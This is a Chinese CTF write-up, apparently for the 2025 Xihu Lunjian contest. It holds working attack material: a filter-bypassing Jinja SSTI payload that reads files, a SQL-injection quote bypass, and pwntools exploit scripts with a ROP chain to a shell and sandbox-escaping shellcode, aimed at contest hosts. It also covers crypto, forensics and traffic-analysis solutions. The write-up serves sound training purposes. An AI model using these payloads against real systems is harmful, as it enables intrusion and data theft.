web
Rank-l
打开题目环境：
发现一个输入框，看一下他是用上面语言写的
发现是python，很容易想到ssti
密码随便输，发现没有回显
但是输入其他字符会报错
确定为ssti注入
开始构造payload，
{{(lipsum|attr(‘globals’)|attr(‘getitem’)(‘os’)|attr(‘popen’)(‘ls…’))|attr(‘read’)()}}
经过测试，发现过滤了/
这里使用构造器，联想到ctfshow上的题目
由于已经知道了flag的名字，直接构造出来
phone_number={% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(102)%2bchr(49)%2bchr(52)%2bchr(57)%}
{%print(x.open(file).read())%}
获取flag
sqli or not
源码：
var express = require('express');
var router = express.Router();
module.exports = router;router.get('/',(req,res,next)=>{if(req.query.info){if(req.url.match(/\,/ig)){res.end('hacker1!');}var info = JSON.parse(req.query.info);if(info.username&&info.password){var username = info.username;var password = info.password;if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){res.end('hacker2!');}var sql = "select * from userinfo where username = '{username}' and password = '{password}'";sql = sql.replace("{username}",username);sql = sql.replace("{password}",password);connection.query(sql,function (err,rs) {if (err) {res.end('error1');}else {if(rs.length>0){res.sendFile('/flag');}else {res.end('username or password error');}}})}else{res.end("please input the data");}}else{res.end("please input the data");}
})
第一关过滤了，
我们可以使用编码绕过%2c
这里发现可以绕过去
过滤了一些字符
这里很容易想到用万能语句：'or 1=1#
但是题目过滤了单引号
翻文档可知
这样我们就可以绕过单引号闭合
payload：?info={“username”:“$`or+1=1%23”%2C"password":“1111”}
成功下载flag
pwn
Vpwn
检测基本信息:
┌──(kali㉿kali)-[/mnt/hgfs/ReWork/2025xihulunjian/Vpwn]
└─$ checksec --file=./Vpwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols N/A 0 0 ./Vpwn
定义一个结构体:
struct StackVector {char padding[24]; // 填充 24 字节__int64 size; // 位于偏移 24 的位置
};
发现push操作存在逻辑漏洞,发现size字段口译被修改
__int64 __fastcall push(__int64 a1, int *idx)
{int v2; // ecx__int64 result; // raxv2 = *idx;result = *(a1 + 24);*(a1 + 24) = result + 1;*(a1 + 4 * result) = v2;return result;
}
发现这个函数可以泄漏libc:
StackVector *__fastcall sub_1928(StackVector *a1)
{std::out_of_range *exception; // rbxStackVector *result; // raxif ( !a1->size ){exception = __cxa_allocate_exception(0x10uLL);std::out_of_range::out_of_range(exception, "StackVector is empty");__cxa_throw(exception, &`typeinfo for'std::out_of_range, &std::out_of_range::~out_of_range);}result = a1;--a1->size;return result;
}
使用脚本调用该命令,泄露出栈上数据:
动调可以发现第19和第18是libc地址!
发现我们构造的数据胡写进栈内存中, StackVector initial_struct; // [rsp+30h] [rbp-40h] BYREF
而且并未限制写入栈中数据的个数,存在溢出漏洞直接构造rop链调用system拿到shell!
直接再libc中寻找gadgets,b’/bin/sh’和pop rdi ret 和system,直接一把梭!
from pwn import *# 加载 libc 文件
def load_libc():return ELF('./libc.so.6')# 初始化目标
def init_target(is_remote=True):if is_remote:return remote('139.155.126.78', 31648) # 远程连接else:return process('./vpwn') # 本地测试# 发送命令并等待提示
def send_command(target, choice):target.sendlineafter(b'choice', str(choice))# 修改指定索引的值
def modify_value(target, index, value=b'1'):send_command(target, 1) # 选择编辑功能target.recvuntil(b'edit') # 等待编辑提示target.sendline(str(index).encode()) # 发送索引target.recvuntil(b'value') # 等待值提示target.sendline(str(value).encode()) # 发送新值# 将 64 位数据拆分为高低 32 位
def split_64bit(value, half):if half == 0:result = value & 0xFFFFFFFF # 低 32 位else:result = (value >> 32) & 0xFFFFFFFF # 高 32 位if result > 0x7FFFFFFF: # 处理负数result -= 2**32return result# 填充栈
def fill_stack(target, count=8, value=b'888'):for _ in range(count):send_command(target, 2) # 选择 push 功能target.recvuntil(b'push') # 等待 push 提示target.sendline(value) # 发送 push 的值# 获取栈内容
def get_stack_contents(target):send_command(target, 4)target.recvuntil(b'StackVector contents: ') # 等待栈内容提示return target.recvuntil(b'\n').split(b' ') # 接收并分割栈内容# 计算 libc 基地址
def calculate_libc_base(stack_data, libc):libc_address = (int(stack_data[19]) << 32) + (int(stack_data[18]) & 0xFFFFFFFF)return libc_address - 0x29D90 # 计算基地址# 构造 ROP 链
def build_rop_chain(target, libc_base, libc):# 计算关键地址system_addr = libc_base + libc.symbols['system'] # system 函数地址bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) # "/bin/sh" 字符串地址pop_rdi_addr = libc_base + 0x2A3E5 # pop rdi; ret gadget 地址rop_start_index = 18 # ROP 链起始索引# 写入 ROP 链modify_value(target, rop_start_index, split_64bit(pop_rdi_addr + 1, 0)) # pop rdi 高 32 位modify_value(target, rop_start_index + 1, split_64bit(pop_rdi_addr + 1, 1)) # pop rdi 低 32 位modify_value(target, rop_start_index + 2, split_64bit(pop_rdi_addr, 0)) # pop rdi 高 32 位modify_value(target, rop_start_index + 3, split_64bit(pop_rdi_addr, 1)) # pop rdi 低 32 位modify_value(target, rop_start_index + 4, split_64bit(bin_sh_addr, 0)) # "/bin/sh" 高 32 位modify_value(target, rop_start_index + 5, split_64bit(bin_sh_addr, 1)) # "/bin/sh" 低 32 位modify_value(target, rop_start_index + 6, split_64bit(system_addr, 0)) # system 高 32 位modify_value(target, rop_start_index + 7, split_64bit(system_addr, 1)) # system 低 32 位# 触发漏洞并获取 shell
def exploit(target):send_command(target, 5) # 触发漏洞target.interactive() # 获取 shell# 主函数
def main():# 初始化libc = load_libc()target = init_target(is_remote=True) # 本地测试# 填充栈fill_stack(target)# 获取栈内容并计算 libc 基地址stack_data = get_stack_contents(target)libc_base = calculate_libc_base(stack_data, libc)# 构造 ROP 链build_rop_chain(target, libc_base, libc)# 触发漏洞并获取 shellexploit(target)if __name__ == '__main__':main()
Heaven’s door
发现存在沙箱过滤了很多的指令但是少了SYS_openat和SYS_sendfile
┌──(kali㉿kali)-[/mnt/hgfs/ReWork/2025xihulunjian/pwn3]
└─$ seccomp-tools dump ./pwn
puchid: 139520
Rasen Kaidan
Kabutomushi
Haikyo Kaido
asdasdline CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000000 A = sys_number0001: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 00120002: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 00130003: 0x15 0x09 0x00 0x00000001 if (A == write) goto 00130004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 00130005: 0x15 0x07 0x00 0x00000004 if (A == stat) goto 00130006: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 00130007: 0x15 0x05 0x00 0x00000006 if (A == lstat) goto 00130008: 0x15 0x04 0x00 0x00000007 if (A == poll) goto 00130009: 0x15 0x03 0x00 0x00000008 if (A == lseek) goto 00130010: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 00130011: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 00130012: 0x06 0x00 0x00 0x00000000 return KILL0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
再看看伪代码,发现是典型的orw执行,绕过沙箱即可!
int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v4; // [rsp+0h] [rbp-10h]init(argc, argv, envp);v4 = fork();if ( v4 ){printf("puchid: %d\n", v4);mmap(0x10000, 0x1000uLL, 7, 50, -1, 0LL);read(0, 0x10000, 0xC3uLL);if ( count_syscall_instructions(0x10000LL, 4096LL) > 2 )exit(-1);sandbox();MEMORY[0x10000]();//执行汇编return 0;}else{made_in_heaven();puts("The time is Accelerating");puts("MADE IN HEAVEN !!!!!!!!!!!!!!!!");return 0;}
}
直接搓出python脚本,orw读取flag:
from pwn import *# 设置上下文
context(log_level='debug', arch='amd64', os='linux')# 初始化目标
# io = process("./pwn") # 本地测试
io = remote('139.155.126.78', 21893) # 远程连接# 修改后的Shellcode
pay = asm('''mov rax, 0x67616c662f2e # 将字符串 "./flag" 存入 raxpush rax # 将字符串压栈xor rdi, rdi # rdi = 0 (AT_FDCWD)sub rdi, 100 # rdi = -100 (AT_FDCWD)mov rsi, rsp # rsi 指向栈顶（即 "./flag" 的地址）xor rdx, rdx # rdx = 0 (flags)xor r10, r10 # r10 = 0 (mode)push SYS_openat # rax = SYS_openatpop raxsyscall # 调用 openatmov rdi, 1 # rdi = 1 (stdout)mov rsi, rax # rsi = 文件描述符 (openat 返回的 fd)xor rdx, rdx # rdx = 0 (offset)mov r10, 0x100 # r10 = 0x100 (读取的字节数)push SYS_sendfile # rax = SYS_sendfile (64位系统调用号)pop raxsyscall # 调用 sendfile
''')# 发送 payload
io.send(pay)# 进入交互模式
io.interactive()
crypto
matrixRSA
task:
import random
import string
from Crypto.Util.number import *
from secret import flag
ext_len = 9*23 - len(flag)
flag += ''.join(random.choice(string.printable) for _ in range(ext_len))
def my_rsa_encrypt():p = getPrime(512)q = getPrime(512)n = p * qdata = []for i in range(9):data.append(bytes_to_long(flag[23*i:23*(i+1)].encode()))M = Matrix(Zmod(n), [data[i:i+3] for i in range(0, len(data), 3)])e = 65537C = M**eprint("p =", p >> 100)print("n =", n)return C
C = my_rsa_encrypt()
print("C =", C)
'''
p = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
C = [130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941 71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757 67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615]
[ 23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993 9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601 44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401]
[ 67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572 13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727 95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676]'''
这里泄漏了p的高100位 ，copper恢复即可，得到p,q
e = 65537
pp = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
pp<<=100R.<x> = PolynomialRing(Zmod(n))
f = pp + x
root= f.small_roots(X=2^100, beta=0.4)
p=pp+int(root[0])
q= n // p
再就是模的矩阵群，这里是三阶为p(p+1)(p−1)(p2+p+1)
from Crypto.Util.number import *
import gmpy2
C = [(130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757,67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615),(23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993,9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601,44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401),(67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572,13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727,95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676)
]
e = 65537
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009p=12305755811288164655681709252717258015229295989302934566212712319314835335461946241491177972870130171728224502716603340551354171940107285908105124549960063
q=10750967246621849802090386055921679114516122704252330881722100331526757637044067492444912824266860574267360247681890637480406758188129451052986858429875143order_p = p*(p-1)*(p+1)*(p^2+p+1)
order_q = q*(q-1)*(q+1)*(q^2+q+1)
order = order_p * order_qd = gmpy2.invert(e,order)
C = Matrix(Zmod(n),C)
M = C ** dflag = b""
for i in range(3):for j in range(3):m = int(M[i,j])flag += long_to_bytes(m)
print(flag)
#48ccbfd88061d7ff3d5325148ec55d11
misc
糟糕的磁盘
file所有img文件可知是raid0，010分析发现有png
uGZ85OzT.img
Fsiq6lKn.img
使用R-STUDIO读取，发现当uGZ85OzT.img、m8X4exzG.img、Fsiq6lKn.img组合时可得到图片
剩下的再组得到
secret，结合key可联想到veracrypt，挂载
打开得到flag
flag：DASCTF{R41D_4ND_D15K_M4573R}
IOT
blink
检测固件信息,发现路径手动查看一下:
┌──(kali㉿kali)-[/mnt/hgfs/ReWork/2025xihulunjian/blink]
└─$ file blink.bin
blink.bin: ESP-IDF application image for ESP32, project name: "blink", version v5.3.2-dirty, compiled on Dec 29 2024 14:59:57, IDF version: v5.3.2-dirty, entry address: 0x40081198┌──(kali㉿kali)-[/mnt/hgfs/ReWork/2025xihulunjian/blink]
└─$ binwalk -Me ./blink.binScan Time: 2025-01-18 03:56:57
Target File: /mnt/hgfs/ReWork/2025xihulunjian/blink/blink.bin
MD5 Checksum: c31950914642264e7df8c15da12f3f69
Signatures: 411DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
12304 0x3010 Unix path: /dev/uart/0
发现一个路径在其附近的字符串查看一下就可以发现一个模式电码和字符串:
电码和字符串:rtosandmorseisveryeasyhahhaha
.-. - --- ... / .. ... ...- . .-. -.-- . .- ... -.-- .... .- .... .... .- .... .-
发现他就是flag
sharkp
打开流量包，导出HTTP对象
能发现只有三个接口，一个一个看
setConfigUpload看着很像，但是这是上传的日志文件
在setSystemAdmin里AdminID用反引号执行命令了，rce的接口是setSystemAdmin
附件给的firmware.bin没有用，在TCP的190流有一个ELF文件，原始数据导出
Ida打开能看到是shellcode
放进安恒云沙箱
可以找到回连地址
Flag{setSystemAdmin_115.195.88.161}
DS
easydatalog
access.log中/upload/1.php，猜测是上马了
error.log发现有
webshell密码为1，过滤出所有相关数据
.1=%40eval(%40base64_decode.
发现有一个jpg和zip
回到error.log中，将数据提取出来，得到
java盲水印
java -jar BlindWatermark.jar decode -f Untitled1.jpg 1.jpg
得到
pass:dataPersonPass123987
30601319731003117X_79159498824
DSASignatureData
处理流量，提取userid与name、idcard、phone
import pyshark
import json
import re
import csvdef extract_http_info_to_csv(pcap_file, csv_file):# 打开PCAP文件cap = pyshark.FileCapture(pcap_file, display_filter='http.request')# 打开CSV文件以写入with open(csv_file, mode='w', newline='', encoding='utf-8') as file:writer = csv.writer(file)# 写入CSV的列名writer.writerow(['userid', 'name', 'idcard', 'phone'])for packet in cap:try:# 提取HTTP请求的URL和正文http_layer = packet.httprequest_uri = http_layer.request_uriif 'userid=' in request_uri:userid_match = re.search(r'userid=(\d+)', request_uri)userid = userid_match.group(1) if userid_match else Noneelse:continue# 提取HTTP请求体if hasattr(http_layer, 'file_data'):body = bytes.fromhex(http_layer.file_data.replace(':', '')).decode('utf-8')json_data = json.loads(body)# 提取name, idcard和phonename = json_data.get("name")idcard = json_data.get("idcard")phone = json_data.get("phone")# 写入CSV文件writer.writerow([userid, name, idcard, phone])except Exception as e:print(f"Error processing packet: {e}")cap.close()print(f"Data has been written to {csv_file}")# 使用示例
pcap_file_path = 'http.pcapng' # 替换为你的PCAP文件路径
csv_file_path = 'output.csv' # 指定输出CSV文件路径
extract_http_info_to_csv(pcap_file_path, csv_file_path)
已知签名算法采用 DSA，哈希算法采用 SHA256，加密数据并与data-sign.csv中数据进行比较，将被篡改过的个人信息数据并保存到新的csv文件中
import base64
import csv
import os
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256def load_public_key(file_path):with open(file_path, 'rb') as f:public_key = DSA.import_key(f.read())return public_keydef verify_signature(public_key, message, signature):hash_obj = SHA256.new(message.encode('utf-8'))verifier = DSS.new(public_key, 'fips-186-3')try:verifier.verify(hash_obj, signature)return Trueexcept ValueError:return Falsedef load_signatures(csv_file_path):signatures = {}with open(csv_file_path, newline='') as csvfile:reader = csv.reader(csvfile)next(reader)for row in reader:username, name_signature, idcard_signature, phone_signature = rowsignatures[username] = {'name_signature': name_signature,'idcard_signature': idcard_signature,'phone_signature': phone_signature}return signaturesdef write_to_csv(data, output_file):with open(output_file, mode='a', newline='', encoding='utf-8') as file:writer = csv.writer(file)writer.writerow(data)csv_file_path = 'data-sign.csv'
signatures = load_signatures(csv_file_path)
csv_file_path2 = 'data.csv'
public_key_dir = './public'
csv_file_path3 = '1.csv'with open(csv_file_path2, newline='', encoding='utf-8') as csvfile:reader = csv.reader(csvfile)next(reader)for row in reader:userid, name, idcard, phone = rowuserid_padded = userid.zfill(4)public_key_file_path = os.path.join(public_key_dir, f"public-{userid_padded}.pem")try:public_key = load_public_key(public_key_file_path)except FileNotFoundError:print(f"Public key file not found for user {userid_padded}")continuemessages = {'name': name,'idcard': idcard,'phone': phone}flag = 0for key, message in messages.items():try:signature = signatures[userid][f'{key}_signature']is_valid = verify_signature(public_key, message, base64.b64decode(signature))if not is_valid:flag = 1except KeyError:print(f"Signature for {key} not found for user {userid}")flag = 1if flag:write_to_csv([userid, name, idcard, phone], csv_file_path3)
得到
再将数据根据userid排序，并删除重复项
import pandas as pddata = pd.read_csv('1.csv', header=None)
data = data.drop_duplicates()
data = data.sort_values(by=data.columns[0])
data.to_csv('2.csv', index=False)
提交
easyrawencode
rsa目录下存在
encrypted_data.zip、hack.py、private.pem，提取出来
import os
import hashlib
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSAhackkey = os.getenv('hackkey')
if not hackkey:raise ValueError("Environment variable 'hackkey' is not set")with open('private.pem', 'r') as f:private_key = RSA.import_key(f.read())
public_key = private_key.publickey().export_key()aes_key = hashlib.sha256(hackkey.encode()).digest()with open('data.csv', 'rb') as f:data = f.read()cipher_aes = AES.new(aes_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
cipher_rsa = PKCS1_OAEP.new(RSA.import_key(public_key))
enc_aes_key = cipher_rsa.encrypt(aes_key)with open('encrypted_data.bin', 'wb') as f:f.write(ciphertext)print(enc_aes_key.hex())
print(cipher_aes.nonce.hex())
print(tag.hex())
读取了环境变量中的hackkey的值作为aes的key
4etz0hHbU3TgKqduFL
vol -f easyrawencode.raw --profile=Win7SP1x64 console
import os
import hashlib
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSAhackkey = '4etz0hHbU3TgKqduFL' # 提供的 hackkey# 读取私钥
with open("C:\\Users\\等风来\\Desktop\\private.pem", 'r') as f:private_key = RSA.import_key(f.read())
print("Private key loaded successfully.")# 获取加密的 AES 密钥（来自公钥加密）
enc_aes_key_hex = "20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501cce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8aff0242e21c0ee7ffee2da20ed9434334"
nonce_hex = "d919c229aab6535efa09a52c589c8f47"
tag_hex = "5b204675b1b173c32c04b0b8a100ee29"# 将十六进制字符串转换为字节
enc_aes_key = bytes.fromhex(enc_aes_key_hex)
nonce = bytes.fromhex(nonce_hex)
tag = bytes.fromhex(tag_hex)# 解密 AES 密钥
cipher_rsa = PKCS1_OAEP.new(private_key)
try:aes_key = cipher_rsa.decrypt(enc_aes_key)print("AES key decrypted successfully.")
except Exception as e:print(f"Error decrypting AES key: {e}")# 使用 AES 密钥和 nonce 解密数据
cipher_aes = AES.new(aes_key, AES.MODE_EAX, nonce=nonce)
with open("C:\\Users\\等风来\\Desktop\\encrypted_data.bin", 'rb') as f:ciphertext = f.read()# 解密数据并验证标签
try:data = cipher_aes.decrypt_and_verify(ciphertext, tag)# 将解密后的数据保存为 CSV 文件with open("decrypted_data.csv", 'wb') as f:f.write(data)print("Data decrypted successfully and saved as 'decrypted_data.csv'.")
except ValueError:print("Decryption failed or data integrity compromised!")
except Exception as e:print(f"Error during decryption or saving file: {e}")
得到csv
然后rc4解密性签名，使用密码列解密
import pandas as pd
from Crypto.Cipher import ARC4
from base64 import b64decodedef rc4_decrypt(key, data):"""RC4 解密函数"""cipher = ARC4.new(key)return cipher.decrypt(data)def decrypt_signature(row):"""解密个性签名"""try:# 从 base64 解码密文签名encrypted_signature = b64decode(row['个性签名(加密版)'])# 获取密码并进行解密password = row['密码'].encode()decrypted_signature = rc4_decrypt(password, encrypted_signature)return decrypted_signature.decode('utf-8') # 解密并转换为字符串except Exception as e:# 如果解密失败，输出错误信息并返回空字符串print(f"Error decrypting for user {row['用户名']}: {e}")return ''# 读取 CSV 文件
df = pd.read_csv("decrypted_data.csv")# 应用 decrypt_signature 函数到每一行，创建新的列
df['个性签名'] = df.apply(decrypt_signature, axis=1)# 将结果保存到新的 CSV 文件
df.to_csv("data2.csv", index=False)print("Decryption complete and results saved to 'data2.csv'.")
搜索解密出的csv,得到flag: DASCTF{fc450e2a9062a39049d501cb5ce287d0}
